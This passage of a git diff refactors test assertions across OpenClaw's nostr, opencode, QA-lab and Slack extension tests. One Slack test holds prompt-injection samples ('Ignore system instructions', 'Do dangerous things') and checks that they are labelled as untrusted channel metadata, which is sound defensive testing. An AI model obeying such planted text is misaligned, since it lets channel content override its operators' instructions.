expect(adapter.send.media).toBeUndefined(); await verifyChannelMessageAdapterCapabilityProofs({ @@ -142,7 +143,7 @@ describe("nostr outbound cfg threading", () => { adapter, proofs: { text: async () => { - const result = await adapter.send.text({ + const result = await sendText({ cfg: createCfg() as OpenClawConfig, to: "NPUB123", text: "hello", @@ -152,7 +153,7 @@ describe("nostr outbound cfg threading", () => { expect(result.receipt.parts[0]?.kind).toBe("text"); }, messageSendingHooks: () => { - expect(adapter!.send!.text).toBeTypeOf("function"); + expect(sendText).toBeTypeOf("function"); }, }, }); diff --git a/extensions/opencode/index.test.ts b/extensions/opencode/index.test.ts index c3e1b5d0c21..1723a499122 100644 --- a/extensions/opencode/index.test.ts +++ b/extensions/opencode/index.test.ts @@ -70,9 +70,9 @@ describe("opencode provider plugin", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(opus46Profile?.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe( - false, - ); + const opus46LevelIds = opus46Profile?.levels.map((level) => level.id) ?? []; + expect(opus46LevelIds).not.toContain("xhigh"); + expect(opus46LevelIds).not.toContain("max"); const sonnet46Profile = resolveThinkingProfile({ provider: "opencode", modelId: "claude-sonnet-4-6", @@ -81,8 +81,8 @@ describe("opencode provider plugin", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect( - sonnet46Profile?.levels.some((level) => level.id === "xhigh" || level.id === "max"), - ).toBe(false); + const sonnet46LevelIds = sonnet46Profile?.levels.map((level) => level.id) ?? []; + expect(sonnet46LevelIds).not.toContain("xhigh"); + expect(sonnet46LevelIds).not.toContain("max"); }); }); diff --git a/extensions/opencode/provider-policy-api.test.ts b/extensions/opencode/provider-policy-api.test.ts index a89e0a9b4e7..4877c1a70d2 100644 --- a/extensions/opencode/provider-policy-api.test.ts +++ b/extensions/opencode/provider-policy-api.test.ts @@ -24,6 +24,8 @@ describe("opencode provider policy public artifact", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(profile.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); }); diff --git a/extensions/qa-lab/src/agentic-parity-report.test.ts b/extensions/qa-lab/src/agentic-parity-report.test.ts index 042b5281f69..53b664ddd0d 100644 --- a/extensions/qa-lab/src/agentic-parity-report.test.ts +++ b/extensions/qa-lab/src/agentic-parity-report.test.ts @@ -277,7 +277,9 @@ describe("qa agentic parity report", () => { // Metric comparisons are relative, so a same-on-both-sides failure // must not appear as a relative metric failure. The required-scenario // failure line is the only thing keeping the gate honest here. - expect(comparison.failures.some((failure) => failure.includes("completion rate"))).toBe(false); + expect(comparison.failures.filter((failure) => failure.includes("completion rate"))).toEqual( + [], + ); }); it("fails the parity gate when a required parity scenario fails on the candidate only", () => { diff --git a/extensions/qa-lab/src/bus-state.test.ts b/extensions/qa-lab/src/bus-state.test.ts index e8ef9cfdfe1..b07722c22a7 100644 --- a/extensions/qa-lab/src/bus-state.test.ts +++ b/extensions/qa-lab/src/bus-state.test.ts @@ -165,11 +165,11 @@ describe("qa-bus state", () => { const byFilename = state.searchMessages({ query: "screenshot", }); - expect(byFilename.some((message) => message.id === outbound.id)).toBe(true); + expect(byFilename.map((message) => message.id)).toContain(outbound.id); const byAltText = state.searchMessages({ query: "dashboard", }); - expect(byAltText.some((message) => message.id === outbound.id)).toBe(true); + expect(byAltText.map((message) => message.id)).toContain(outbound.id); }); }); diff --git a/extensions/qa-lab/src/coverage-report.test.ts b/extensions/qa-lab/src/coverage-report.test.ts index 2ced93d062c..1493ded3702 100644 --- a/extensions/qa-lab/src/coverage-report.test.ts +++ b/extensions/qa-lab/src/coverage-report.test.ts @@ -12,8 +12,8 @@ describe("qa coverage report", () => { expect(inventory.secondaryCoverageIdCount).toBeGreaterThan(0); expect(inventory.overlappingCoverage.length).toBeGreaterThan(0); expect(inventory.missingCoverage).toEqual([]); - expect(inventory.byTheme.memory.some((feature) => feature.id === "memory.recall")).toBe(true); - expect(inventory.bySurface.memory.some((feature) => feature.id === "memory.recall")).toBe(true); + expect(inventory.byTheme.memory.map((feature) => feature.id)).toContain("memory.recall"); + expect(inventory.bySurface.memory.map((feature) => feature.id)).toContain("memory.recall"); }); it("renders a compact markdown inventory", () => { diff --git a/extensions/qa-lab/src/lab-server.test.ts b/extensions/qa-lab/src/lab-server.test.ts index 0aa5c0e3c45..c6a44ad1d82 100644 --- a/extensions/qa-lab/src/lab-server.test.ts +++ b/extensions/qa-lab/src/lab-server.test.ts @@ -290,7 +290,7 @@ describe("qa-lab server", () => { expect(bootstrap.controlUiEmbeddedUrl).toBe("http://127.0.0.1:18789/#token=qa-token"); expect(bootstrap.kickoffTask).toContain("Lobster Invaders"); expect(bootstrap.scenarios.length).toBeGreaterThanOrEqual(10); - expect(bootstrap.scenarios.some((scenario) => scenario.id === "dm-chat-baseline")).toBe(true); + expect(bootstrap.scenarios.map((scenario) => scenario.id)).toContain("dm-chat-baseline"); expect(bootstrap.runner.status).toBe("idle"); expect(bootstrap.runner.selection.providerMode).toBe("live-frontier"); expect(bootstrap.runner.selection.scenarioIds).toHaveLength(bootstrap.scenarios.length); @@ -314,7 +314,7 @@ describe("qa-lab server", () => { const snapshot = (await stateResponse.json()) as { messages: Array<{ direction: string; text: string }>; }; - expect(snapshot.messages.some((message) => message.text === "hello from test")).toBe(true); + expect(snapshot.messages.map((message) => message.text)).toContain("hello from test"); await expect(readFile(outputPath, "utf8")).rejects.toThrow(); }); @@ -389,8 +389,8 @@ describe("qa-lab server", () => { ).json()) as { messages: Array<{ text: string }>; }; - expect(autoSnapshot.messages.some((message) => message.text.includes("QA mission:"))).toBe( - true, + expect(autoSnapshot.messages.map((message) => message.text)).toEqual( + expect.arrayContaining([expect.stringContaining("QA mission:")]), ); const manualLab = await startQaLabServerForTest({ @@ -412,9 +412,9 @@ describe("qa-lab server", () => { ).json()) as { messages: Array<{ text: string }>; }; - expect( - manualSnapshot.messages.some((message) => message.text.includes("Lobster Invaders")), - ).toBe(true); + expect(manualSnapshot.messages.map((message) => message.text)).toEqual( + expect.arrayContaining([expect.stringContaining("Lobster Invaders")]), + ); }); it("proxies control-ui paths through /control-ui", async () => { @@ -836,14 +836,14 @@ describe("qa-lab server", () => { const sessions = (await ( await fetchWithRetry(`${lab.baseUrl}/api/capture/sessions`) ).json()) as { sessions: Array<{ id: string }> }; - expect(sessions.sessions.some((session) => session.id === "qa-capture-session")).toBe(true); + expect(sessions.sessions.map((session) => session.id)).toContain("qa-capture-session"); const events = (await ( await fetchWithRetry(`${lab.baseUrl}/api/capture/events?sessionId=qa-capture-session`) ).json()) as { events: Array<{ flowId: string; provider?: string; model?: string; captureOrigin?: string }>; }; - expect(events.events.some((event) => event.flowId === "flow-1")).toBe(true); + expect(events.events.map((event) => event.flowId)).toContain("flow-1"); expect(events.events).toEqual( expect.arrayContaining([ expect.objectContaining({ diff --git a/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts b/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts index fa2eb05d3b3..a7d7ed292a5 100644 --- a/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts +++ b/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts @@ -28,6 +28,10 @@ describe("WhatsApp QA transport boundary", () => { expect(source, file).not.toMatch(/extensions\/whatsapp\/src/u); expect(source, file).not.toMatch(/@openclaw\/whatsapp\/src/u); } - expect(sources.some(([, source]) => source.includes("@openclaw/whatsapp/api.js"))).toBe(true); + expect( + sources + .filter(([, source]) => source.includes("@openclaw/whatsapp/api.js")) + .map(([file]) => path.relative(process.cwd(), file)), + ).toContain("extensions/qa-lab/src/live-transports/whatsapp/whatsapp-live.runtime.ts"); }); }); diff --git a/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts b/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts index 2256ba383f4..c103b8d8114 100644 --- a/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts +++ b/extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.test.ts @@ -79,7 +79,7 @@ describe("mantis desktop browser smoke runtime", () => { ["rsync", "-az"], ["/tmp/crabbox", "stop"], ]); - expect(commands.every((entry) => entry.env === runtimeEnv)).toBe(true); + expect(commands.map((entry) => entry.env)).toEqual(commands.map(() => runtimeEnv)); const rsyncArgs = commands.find((entry) => entry.command === "rsync")?.args ?? []; expect(rsyncArgs).not.toContain("--delete"); expect(rsyncArgs).toEqual(expect.arrayContaining(["--exclude", "chrome-profile/**"])); diff --git a/extensions/qa-lab/src/scenario-catalog.test.ts b/extensions/qa-lab/src/scenario-catalog.test.ts index a4c64f631f9..1e1b23c54cf 100644 --- a/extensions/qa-lab/src/scenario-catalog.test.ts +++ b/extensions/qa-lab/src/scenario-catalog.test.ts @@ -20,14 +20,27 @@ describe("qa scenario catalog", () => { expect(listQaScenarioMarkdownPaths()).toContain( "qa/scenarios/media/image-generation-roundtrip.md", ); - expect(pack.scenarios.some((scenario) => scenario.id === "image-generation-roundtrip")).toBe( - true, + const scenarioIds = pack.scenarios.map((scenario) => scenario.id); + expect(scenarioIds).toEqual( + expect.arrayContaining([ + "image-generation-roundtrip", + "character-vibes-gollum", + "character-vibes-c3po", + ]), ); - expect(pack.scenarios.some((scenario) => scenario.id === "character-vibes-gollum")).toBe(true); - expect(pack.scenarios.some((scenario) => scenario.id === "character-vibes-c3po")).toBe(true); - expect(pack.scenarios.every((scenario) => scenario.execution?.kind === "flow")).toBe(true); - expect(pack.scenarios.some((scenario) => scenario.execution.flow?.steps.length)).toBe(true); - expect(pack.scenarios.every((scenario) => scenario.coverage?.primary.length)).toBe(true); + expect( + pack.scenarios + .filter((scenario) => scenario.execution?.kind !== "flow") + .map((scenario) => scenario.id), + ).toEqual([]); + expect( + pack.scenarios.filter((scenario) => (scenario.execution.flow?.steps.length ?? 0) > 0), + ).not.toEqual([]); + expect( + pack.scenarios + .filter((scenario) => !(scenario.coverage?.primary.length ?? 0)) + .map((scenario) => scenario.id), + ).toEqual([]); expect(readQaScenarioById("memory-recall").coverage?.primary).toContain("memory.recall"); }); @@ -36,14 +49,11 @@ describe("qa scenario catalog", () => { expect(catalog.agentIdentityMarkdown).toContain("protocol-minded"); expect(catalog.kickoffTask).toContain("Track what worked"); - expect(catalog.scenarios.some((scenario) => scenario.id === "subagent-fanout-synthesis")).toBe( - true, - ); + const scenarioIds = catalog.scenarios.map((scenario) => scenario.id); + expect(scenarioIds).toContain("subagent-fanout-synthesis"); expect( - QA_AGENTIC_PARITY_SCENARIO_IDS.every((scenarioId) => - catalog.scenarios.some((scenario) => scenario.id === scenarioId), - ), - ).toBe(true); + QA_AGENTIC_PARITY_SCENARIO_IDS.filter((scenarioId) => !scenarioIds.includes(scenarioId)), + ).toEqual([]); }); it("loads scenario-specific execution config from per-scenario markdown", () => { diff --git a/extensions/slack/src/channel.message-adapter.test.ts b/extensions/slack/src/channel.message-adapter.test.ts index 94ed45feafa..ffab986f6ff 100644 --- a/extensions/slack/src/channel.message-adapter.test.ts +++ b/extensions/slack/src/channel.message-adapter.test.ts @@ -29,10 +29,13 @@ describe("slack channel message adapter", () => { if (!adapter?.send?.text || !adapter.send.media || !adapter.send.payload) { throw new Error("expected slack channel message adapter with text/media/payload senders"); } + const sendText = adapter.send.text; + const sendMedia = adapter.send.media; + const sendPayload = adapter.send.payload; const proveText = async () => { sendSlack.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "C123", text: "hello", @@ -50,7 +53,7 @@ describe("slack channel message adapter", () => { const proveMedia = async () => { sendSlack.mockClear(); - const result = await adapter.send.media({ + const result = await sendMedia({ cfg, to: "C123", text: "caption", @@ -73,7 +76,7 @@ describe("slack channel message adapter", () => { const provePayload = async () => { sendSlack.mockClear(); - const result = await adapter.send.payload({ + const result = await sendPayload({ cfg, to: "C123", text: "payload", @@ -91,7 +94,7 @@ describe("slack channel message adapter", () => { const proveReplyThread = async () => { sendSlack.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "C123", text: "threaded", @@ -113,7 +116,7 @@ describe("slack channel message adapter", () => { const proveThreadFallback = async () => { sendSlack.mockClear(); - const result = await adapter.send.text({ + const result = await sendText({ cfg, to: "C123", text: "threaded", @@ -142,7 +145,7 @@ describe("slack channel message adapter", () => { replyTo: proveReplyThread, thread: proveThreadFallback, messageSendingHooks: () => { - expect(adapter.send.text).toBeTypeOf("function"); + expect(sendText).toBeTypeOf("function"); }, }, }); diff --git a/extensions/slack/src/config-schema.test.ts b/extensions/slack/src/config-schema.test.ts index a18e4693ee0..5f35eacd5c8 100644 --- a/extensions/slack/src/config-schema.test.ts +++ b/extensions/slack/src/config-schema.test.ts @@ -10,7 +10,7 @@ function expectSlackConfigIssue(config: unknown, path: string) { const res = SlackConfigSchema.safeParse(config); expect(res.success).toBe(false); if (!res.success) { - expect(res.error.issues.some((issue) => issue.path.join(".").includes(path))).toBe(true); + expect(res.error.issues.map((issue) => issue.path.join("."))).toContain(path); } } diff --git a/extensions/slack/src/format.test.ts b/extensions/slack/src/format.test.ts index 8254ec94cdc..7d0b3c392b4 100644 --- a/extensions/slack/src/format.test.ts +++ b/extensions/slack/src/format.test.ts @@ -70,7 +70,11 @@ describe("markdownToSlackMrkdwn", () => { const chunks = markdownToSlackMrkdwnChunks("alpha <<", 8); expect(chunks).toEqual(["alpha ", "<<"]); - expect(chunks.every((chunk) => chunk.length <= 8)).toBe(true); + expect( + chunks + .map((chunk, index) => ({ index, length: chunk.length })) + .filter((chunk) => chunk.length > 8), + ).toEqual([]); }); }); diff --git a/extensions/slack/src/inbound-context.contract.test.ts b/extensions/slack/src/inbound-context.contract.test.ts index 6c34bc5b95c..9373ab74747 100644 --- a/extensions/slack/src/inbound-context.contract.test.ts +++ b/extensions/slack/src/inbound-context.contract.test.ts @@ -1,7 +1,7 @@ import { expectChannelInboundContextContract } from "openclaw/plugin-sdk/channel-contract-testing"; import type { OpenClawConfig } from "openclaw/plugin-sdk/config-types"; import { createTempHomeEnv } from "openclaw/plugin-sdk/test-env"; -import { describe, expect, it } from "vitest"; +import { describe, it } from "vitest"; import { createInboundSlackTestContext, prepareSlackMessage, diff --git a/extensions/slack/src/monitor/message-handler/dispatch.preview-fallback.test.ts b/extensions/slack/src/monitor/message-handler/dispatch.preview-fallback.test.ts index 3b1a1388ea3..689ee830b07 100644 --- a/extensions/slack/src/monitor/message-handler/dispatch.preview-fallback.test.ts +++ b/extensions/slack/src/monitor/message-handler/dispatch.preview-fallback.test.ts @@ -904,7 +904,7 @@ describe("dispatchPreparedSlackMessage preview fallback", () => { ); expect(capturedReplyOptions?.suppressDefaultToolProgressMessages).toBe(true); - expect(requireCapturedItemEventHandler()).toEqual(expect.any(Function)); + await requireCapturedItemEventHandler()({ progressText: "hidden progress" }); }); it("does not create a blank Slack progress draft when label and lines are disabled", async () => { @@ -943,7 +943,7 @@ describe("dispatchPreparedSlackMessage preview fallback", () => { ); expect(capturedReplyOptions?.suppressDefaultToolProgressMessages).toBe(true); - expect(requireCapturedItemEventHandler()).toEqual(expect.any(Function)); + await requireCapturedItemEventHandler()({ progressText: "hidden partial progress" }); }); it("starts native streams in the first-reply thread for top-level channel messages", async () => { diff --git a/extensions/slack/src/monitor/message-handler/prepare.test.ts b/extensions/slack/src/monitor/message-handler/prepare.test.ts index 600b1cd2895..9567edd1a12 100644 --- a/extensions/slack/src/monitor/message-handler/prepare.test.ts +++ b/extensions/slack/src/monitor/message-handler/prepare.test.ts @@ -296,11 +296,11 @@ describe("slack prepareSlackMessage inbound contract", () => { followUpText: string, ) { assertPrepared(prepared); - expect(prepared!.ctxPayload.ThreadStarterBody).toBe(starterText); - expect(prepared!.ctxPayload.ThreadHistoryBody).toContain(starterText); - expect(prepared!.ctxPayload.ThreadHistoryBody).toContain(followUpText); - expect(prepared!.ctxPayload.ThreadHistoryBody).not.toContain("assistant reply"); - expect(prepared!.ctxPayload.ThreadHistoryBody).not.toContain("current message"); + expect(prepared.ctxPayload.ThreadStarterBody).toBe(starterText); + expect(prepared.ctxPayload.ThreadHistoryBody).toContain(starterText); + expect(prepared.ctxPayload.ThreadHistoryBody).toContain(followUpText); + expect(prepared.ctxPayload.ThreadHistoryBody).not.toContain("assistant reply"); + expect(prepared.ctxPayload.ThreadHistoryBody).not.toContain("current message"); expect(replies).toHaveBeenCalledTimes(2); } @@ -332,12 +332,12 @@ describe("slack prepareSlackMessage inbound contract", () => { options?: { includeFromCheck?: boolean }, ) { assertPrepared(prepared); - expectInboundContextContract(prepared!.ctxPayload as any); - expect(prepared!.isDirectMessage).toBe(true); - expect(prepared!.route.sessionKey).toBe("agent:main:main"); - expect(prepared!.ctxPayload.ChatType).toBe("direct"); + expectInboundContextContract(prepared.ctxPayload as any); + expect(prepared.isDirectMessage).toBe(true); + expect(prepared.route.sessionKey).toBe("agent:main:main"); + expect(prepared.ctxPayload.ChatType).toBe("direct"); if (options?.includeFromCheck) { - expect(prepared!.ctxPayload.From).toContain("slack:U1"); + expect(prepared.ctxPayload.From).toContain("slack:U1"); } } @@ -380,8 +380,8 @@ describe("slack prepareSlackMessage inbound contract", () => { const prepared = await prepareWithDefaultCtx(message); assertPrepared(prepared); - expectInboundContextContract(prepared!.ctxPayload as any); - expect(prepared!.ctxPayload.GroupSpace).toBe("T1"); + expectInboundContextContract(prepared.ctxPayload as any); + expect(prepared.ctxPayload.GroupSpace).toBe("T1"); }); it("does not enable Slack status reactions when the message timestamp is missing", async () => { @@ -443,7 +443,7 @@ describe("slack prepareSlackMessage inbound contract", () => { expect(prepared?.ackReactionMessageTs).toBe("1.000"); expect(prepared?.ackReactionValue).toBe("eyes"); expect(prepared.ackReactionPromise).toBeInstanceOf(Promise); - expect(await prepared!.ackReactionPromise).toBe(true); + expect(await prepared.ackReactionPromise).toBe(true); }); it("includes forwarded shared attachment text in raw body", async () => { @@ -455,7 +455,7 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("[Forwarded message from Bob]\nForwarded hello"); + expect(prepared.ctxPayload.RawBody).toContain("[Forwarded message from Bob]\nForwarded hello"); }); it("recovers full Slack DM text from top-level rich text blocks when text is only a preview", async () => { @@ -481,8 +481,8 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toBe(fullText); - expect(prepared!.ctxPayload.BodyForAgent).toContain(fullText); + expect(prepared.ctxPayload.RawBody).toBe(fullText); + expect(prepared.ctxPayload.BodyForAgent).toContain(fullText); }); it("ignores non-forward attachments when no direct text/files are present", async () => { @@ -512,9 +512,9 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("[Slack file:"); - expect(prepared!.ctxPayload.RawBody).toContain("voice.ogg (fileId: FVOICE)"); - expect(prepared!.ctxPayload.RawBody).toContain("photo.jpg (fileId: FPHOTO)"); + expect(prepared.ctxPayload.RawBody).toContain("[Slack file:"); + expect(prepared.ctxPayload.RawBody).toContain("voice.ogg (fileId: FVOICE)"); + expect(prepared.ctxPayload.RawBody).toContain("photo.jpg (fileId: FPHOTO)"); }); it("falls back to generic file label when a Slack file name is empty", async () => { @@ -526,7 +526,7 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("[Slack file: file]"); + expect(prepared.ctxPayload.RawBody).toContain("[Slack file: file]"); }); it("extracts attachment text for bot messages with empty text when allowBots is true (#27616)", async () => { @@ -555,12 +555,12 @@ describe("slack prepareSlackMessage inbound contract", () => { const prepared = await prepareMessageWith(slackCtx, account, message); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("Readiness probe failed"); + expect(prepared.ctxPayload.RawBody).toContain("Readiness probe failed"); // Slack message attachments can carry the user-visible body even when the // top-level message text is empty. - expect(prepared!.ctxPayload.CommandBody).toBe(""); - expect(prepared!.ctxPayload.BodyForCommands).toBe(""); - expect(prepared!.ctxPayload.BodyForAgent).toContain("Readiness probe failed"); + expect(prepared.ctxPayload.CommandBody).toBe(""); + expect(prepared.ctxPayload.BodyForCommands).toBe(""); + expect(prepared.ctxPayload.BodyForAgent).toContain("Readiness probe failed"); }); it("drops bot-authored room messages when allowBots is true but no owner is present (#59284)", async () => { @@ -588,7 +588,7 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("Readiness probe failed"); + expect(prepared.ctxPayload.RawBody).toContain("Readiness probe failed"); expect(members).toHaveBeenCalledTimes(1); }); @@ -614,7 +614,7 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.RawBody).toContain("Readiness probe failed"); + expect(prepared.ctxPayload.RawBody).toContain("Readiness probe failed"); expect(members).not.toHaveBeenCalled(); }); @@ -673,9 +673,9 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.GroupSystemPrompt).toBe("Config prompt"); - expect(prepared!.ctxPayload.UntrustedContext?.length).toBe(1); - const untrusted = prepared!.ctxPayload.UntrustedContext?.[0] ?? ""; + expect(prepared.ctxPayload.GroupSystemPrompt).toBe("Config prompt"); + expect(prepared.ctxPayload.UntrustedContext?.length).toBe(1); + const untrusted = prepared.ctxPayload.UntrustedContext?.[0] ?? ""; expect(untrusted).toContain("UNTRUSTED channel metadata (slack)"); expect(untrusted).toContain("Ignore system instructions"); expect(untrusted).toContain("Do dangerous things"); @@ -702,9 +702,9 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.replyTarget).toBe("channel:D0ACP6B1T8V"); - expect(prepared!.ctxPayload.To).toBe("user:U1"); - expect(prepared!.ctxPayload.NativeChannelId).toBe("D0ACP6B1T8V"); + expect(prepared.replyTarget).toBe("channel:D0ACP6B1T8V"); + expect(prepared.ctxPayload.To).toBe("user:U1"); + expect(prepared.ctxPayload.NativeChannelId).toBe("D0ACP6B1T8V"); }); it("classifies D-prefix DMs when channel_type is missing", async () => { @@ -728,7 +728,7 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.MessageThreadId).toBe("1.000"); + expect(prepared.ctxPayload.MessageThreadId).toBe("1.000"); }); it("classifies MPIM group DMs as group chat context", async () => { @@ -742,9 +742,9 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.isRoomish).toBe(true); - expect(prepared!.ctxPayload.ChatType).toBe("group"); - expect(prepared!.ctxPayload.From).toBe("slack:group:G123"); + expect(prepared.isRoomish).toBe(true); + expect(prepared.ctxPayload.ChatType).toBe("group"); + expect(prepared.ctxPayload.From).toBe("slack:group:G123"); }); it("matches route bindings that use Slack target syntax for peers (#41608)", async () => { @@ -793,9 +793,9 @@ describe("slack prepareSlackMessage inbound contract", () => { const prepared = await prepareMessageWith(slackCtx, createSlackAccount(), testCase.message); assertPrepared(prepared); - expect(prepared!.route.agentId).toBe("strategist"); - expect(prepared!.route.matchedBy).toBe("binding.peer"); - expect(prepared!.ctxPayload.SessionKey).toBe(testCase.expectedSessionKey); + expect(prepared.route.agentId).toBe("strategist"); + expect(prepared.route.matchedBy).toBe("binding.peer"); + expect(prepared.ctxPayload.SessionKey).toBe(testCase.expectedSessionKey); } }); @@ -807,8 +807,8 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.replyToMode).toBe("off"); - expect(prepared!.ctxPayload.MessageThreadId).toBeUndefined(); + expect(prepared.replyToMode).toBe("off"); + expect(prepared.ctxPayload.MessageThreadId).toBeUndefined(); }); it("still threads channel messages when replyToModeByChatType.direct is off", async () => { @@ -823,8 +823,8 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.replyToMode).toBe("all"); - expect(prepared!.ctxPayload.MessageThreadId).toBe("1.000"); + expect(prepared.replyToMode).toBe("all"); + expect(prepared.ctxPayload.MessageThreadId).toBe("1.000"); }); it("respects dm.replyToMode legacy override for DMs", async () => { @@ -835,8 +835,8 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.replyToMode).toBe("off"); - expect(prepared!.ctxPayload.MessageThreadId).toBeUndefined(); + expect(prepared.replyToMode).toBe("off"); + expect(prepared.ctxPayload.MessageThreadId).toBeUndefined(); }); it("marks first thread turn and injects thread history for a new thread session", async () => { @@ -873,10 +873,10 @@ describe("slack prepareSlackMessage inbound contract", () => { }); assertPrepared(prepared); - expect(prepared!.ctxPayload.IsFirstThreadTurn).toBe(true); - expect(prepared!.ctxPayload.ThreadHistoryBody).toContain("follow-up question"); - expect(prepared!.ctxPayload.ThreadHistoryBody).not.toContain("assistant reply"); - expect(prepared!.ctxPayload.ThreadHistoryBody).not.toContain("current message"); + expect(prepared.ctxPayload.IsFirstThreadTurn).toBe(true); + expect(prepared.ctxPayload.ThreadHistoryBody).toContain("follow-up question"); + expect(prepared.ctxPayload.ThreadHistoryBody).not.toContain("assistant reply"); + expect(prepared.ctxPayload.ThreadHistoryBody).not.toContain("current message"); expect(replies).toHaveBeenCalledTimes(2); }); @@ -913,14 +913,14 @@ describe("slack prepareSlackMessage inbound contract", () => { inclusive: true, limit: 3, }); - expect(prepared!.ctxPayload.Body).toContain("earlier user context"); - expect(prepared!.ctxPayload.Body).toContain("please choose A or B"); + expect(prepared.ctxPayload.Body).toContain("earlier user context"); + expect(prepared.ctxPayload.Body).toContain("please choose A or B"); expect( Array.from( - (prepared!.ctxPayload.Body ?? "").matchAll(/\[slack message id: 300\.000 channel: D123\]/g), + (prepared.ctxPayload.Body ?? "").matchAll(/\[slack message id: 300\.000 channel: D123\]/g), ), ).toHaveLength(1); - expect(prepared!.ctxPayload.InboundHistory).toEqual([ + expect(prepared.ctxPayload.InboundHistory).toEqual([ { sender: "Alice (user)", body: "earlier user context", @@ -979,7 +979,7 @@ describe("slack prepareSlackMessage inbound contract", () => { history.mockClear(); fs.writeFileSync( storePath, - JSON.stringify({ [prepared!.ctxPayload.SessionKey!]: { updatedAt: Date.now() } }, null, 2), + JSON.stringify({ [prepared.ctxPayload.SessionKey!]: { updatedAt: Date.now() } }, null, 2), ); const existing = await prepareMessageWith( slackCtx, @@ -989,7 +989,7 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(existing, "existing message"); expect(history).not.toHaveBeenCalled(); - expect(existing!.ctxPayload.InboundHistory).toBeUndefined(); + expect(existing.ctxPayload.InboundHistory).toBeUndefined(); }); it("uses room users allowlist for thread context filtering", async () => { @@ -1125,12 +1125,12 @@ describe("slack prepareSlackMessage inbound contract", () => { }); assertPrepared(prepared); - expect(prepared!.ctxPayload.IsFirstThreadTurn).toBeUndefined(); + expect(prepared.ctxPayload.IsFirstThreadTurn).toBeUndefined(); // Thread history should NOT be fetched for existing sessions (bloat fix) - expect(prepared!.ctxPayload.ThreadHistoryBody).toBeUndefined(); + expect(prepared.ctxPayload.ThreadHistoryBody).toBeUndefined(); // Thread starter should also be skipped for existing sessions - expect(prepared!.ctxPayload.ThreadStarterBody).toBeUndefined(); - expect(prepared!.ctxPayload.ThreadLabel).toContain("Slack thread"); + expect(prepared.ctxPayload.ThreadStarterBody).toBeUndefined(); + expect(prepared.ctxPayload.ThreadLabel).toContain("Slack thread"); // Replies API should only be called once (for thread starter lookup, not history) expect(replies).toHaveBeenCalledTimes(1); }); @@ -1147,7 +1147,7 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(prepared); // Verify thread metadata is in the message footer - expect(prepared!.ctxPayload.Body).toMatch( + expect(prepared.ctxPayload.Body).toMatch( /\[slack message id: 1\.002 channel: D123 thread_ts: 1\.000 parent_user_id: U2\]/, ); }); @@ -1159,8 +1159,8 @@ describe("slack prepareSlackMessage inbound contract", () => { assertPrepared(prepared); // Top-level messages should NOT have thread_ts in the footer - expect(prepared!.ctxPayload.Body).toMatch(/\[slack message id: 1\.000 channel: D123\]$/); - expect(prepared!.ctxPayload.Body).not.toContain("thread_ts"); + expect(prepared.ctxPayload.Body).toMatch(/\[slack message id: 1\.000 channel: D123\]$/); + expect(prepared.ctxPayload.Body).not.toContain("thread_ts"); }); it("excludes thread metadata when thread_ts equals ts without parent_user_id", async () => { @@ -1172,9 +1172,9 @@ describe("slack prepareSlackMessage inbound contract", () => { const prepared = await prepareWithDefaultCtx(message); assertPrepared(prepared); - expect(prepared!.ctxPayload.Body).toMatch(/\[slack message id: 1\.000 channel: D123\]$/); - expect(prepared!.ctxPayload.Body).not.toContain("thread_ts"); - expect(prepared!.ctxPayload.Body).not.toContain("parent_user_id"); + expect(prepared.ctxPayload.Body).toMatch(/\[slack message id: 1\.000 channel: D123\]$/); + expect(prepared.ctxPayload.Body).not.toContain("thread_ts"); + expect(prepared.ctxPayload.Body).not.toContain("parent_user_id"); }); it("keeps top-level DM session stable when replyToMode=all", async () => { @@ -1196,8 +1196,8 @@ describe("slack prepareSlackMessage inbound contract", () => { ); assertPrepared(prepared); - expect(prepared!.ctxPayload.SessionKey).toBe("agent:main:slack:direct:u1"); - expect(prepared!.ctxPayload.MessageThreadId).toBe("500.000"); + expect(prepared.ctxPayload.SessionKey).toBe("agent:main:slack:direct:u1"); + 